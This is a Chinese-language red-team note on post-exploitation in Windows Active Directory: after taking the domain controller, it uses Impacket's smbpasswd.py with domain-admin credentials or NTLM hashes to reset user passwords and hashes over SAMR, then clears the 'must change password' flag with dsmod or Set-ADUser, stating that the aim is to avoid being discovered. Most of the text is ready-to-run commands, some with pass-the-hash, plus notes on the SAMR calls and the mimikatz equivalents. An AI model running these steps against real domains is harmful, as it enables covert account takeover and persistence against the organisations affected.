总结
一般是拿下域控进行操作,建议使用域管权限修改,不会出现账户过期问题
1 2 | # 管理员权限修改 python3 smbpasswd.py test.com/zhangsan@192.168.111.146 -newpass "Test@123456666" -altuser administrator -altpass "Test@123" -debug -admin |
其他例子
1 2 3 4 5 6 7 | smbpasswd.py j.doe@192.168.1.11 smbpasswd.py contoso.local/j.doe@DC1 -hashes :fc525c9683e8fe067095ba2ddc971889 smbpasswd.py contoso.local/j.doe:'Passw0rd!'@DC1 -newpass 'N3wPassw0rd!' smbpasswd.py contoso.local/j.doe:'Passw0rd!'@DC1 -newhashes :126502da14a98b58f2c319b81b3a49cb smbpasswd.py contoso.local/j.doe:'Passw0rd!'@DC1 -newpass 'N3wPassw0rd!' -altuser administrator -altpass 'Adm1nPassw0rd!' smbpasswd.py contoso.local/j.doe:'Passw0rd!'@DC1 -newhashes :126502da14a98b58f2c319b81b3a49cb -altuser CONTOSO/administrator -altpass 'Adm1nPassw0rd!' -admin smbpasswd.py SRV01/administrator:'Passw0rd!'@10.10.13.37 -newhashes :126502da14a98b58f2c319b81b3a49cb -altuser CONTOSO/SrvAdm -althash 6fe945ead39a7a6a2091001d98a913ab |
如果出现过期问题,可在域控上修改用户属性,也可通过dsmod远程修改
1 2 3 4 5 | powershell "Set-ADUser -Identity zhangsan -ChangePasswordAtLogon $false" # 远程操作 dsquery.exe user -s 192.168.111.146 -u administrator -p Test@123 -name zhangsan dsmod user "CN=zhangsan,CN=Users,DC=test,DC=com" -s 192.168.111.146 -u administrator -p Test@123 -mustchpwd no -acctexpires never |
分析
smbpasswd.py通过纯445利用
PS:windows使用双引号
1 2 3 4 5 6 7 | smbpasswd.py j.doe@192.168.1.11 smbpasswd.py contoso.local/j.doe@DC1 -hashes :fc525c9683e8fe067095ba2ddc971889 smbpasswd.py contoso.local/j.doe:'Passw0rd!'@DC1 -newpass 'N3wPassw0rd!' smbpasswd.py contoso.local/j.doe:'Passw0rd!'@DC1 -newhashes :126502da14a98b58f2c319b81b3a49cb smbpasswd.py contoso.local/j.doe:'Passw0rd!'@DC1 -newpass 'N3wPassw0rd!' -altuser administrator -altpass 'Adm1nPassw0rd!' smbpasswd.py contoso.local/j.doe:'Passw0rd!'@DC1 -newhashes :126502da14a98b58f2c319b81b3a49cb -altuser CONTOSO/administrator -altpass 'Adm1nPassw0rd!' -admin smbpasswd.py SRV01/administrator:'Passw0rd!'@10.10.13.37 -newhashes :126502da14a98b58f2c319b81b3a49cb -altuser CONTOSO/SrvAdm -althash 6fe945ead39a7a6a2091001d98a913ab |
通过域管修改下面用户密码
1 | python3 smbpasswd.py test.com/zhangsan@192.168.111.146 -newpass "Test@123456666" -altuser administrator -altpass "Test@123" -debug -admin |
为啥需要altuser,如下场景用户自身无法修改密码,必须使用管理员用户修改
实际是通过SAMR协议进行操作的,如下不同RPC函数的使用场景,上面例子就是使用的第一种
1 2 3 | hSamrSetInformationUser: 管理员修改成明文或hash hSamrUnicodeChangePasswordUser2:用户本身修改成明文密码 hSamrChangePasswordUser:用户本身修改成新hash |
问题:修改密码正常,但修改hash,可能会提示过期,从而用户必须修改密码后才能登录,可能会被发现
这里有人提了pr,回头看下(发现这个pr很早就merge了,但仍然遇到,那就是操作上面有问题了)
https://github.com/SecureAuthCorp/impacket/pull/381
可以在域控上修改属性
1 | powershell "Set-ADUser -Identity zhangsan -ChangePasswordAtLogon $false" |
微软文档找的如下一个结构体中有这么一个字段PasswordMustChange
,回头看看有没用
这边有个例子可以通过SamSetInformationUser
修改UserAllInformation,只需要将PasswordMustChange
改动下就行了
https://github.com/loong716/CPPPractice/blob/master/AddUserBypass_SAMR/AddUserBypass_SAMR/AddUserBypass_SAMR.c
https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-samr/29b54f06-8961-43fd-8ecb-4b2a8020d474
这边有篇文章讲到https://xz.aliyun.com/t/10126
SamrUnicodeChangePasswordUser2修改就可解决过期限制
还是这段代码,明文修改才会调用hSamrUnicodeChangePasswordUser2
,但替换回原来hash的时候,调用的是hSamrChangePasswordUser
,所以会出现过期问题。
这也对应mimikatz里的SetNTLM
(SamrSetInformationUser
)重置以及ChangeNTLM
(SamrChangePasswordUser
)修修改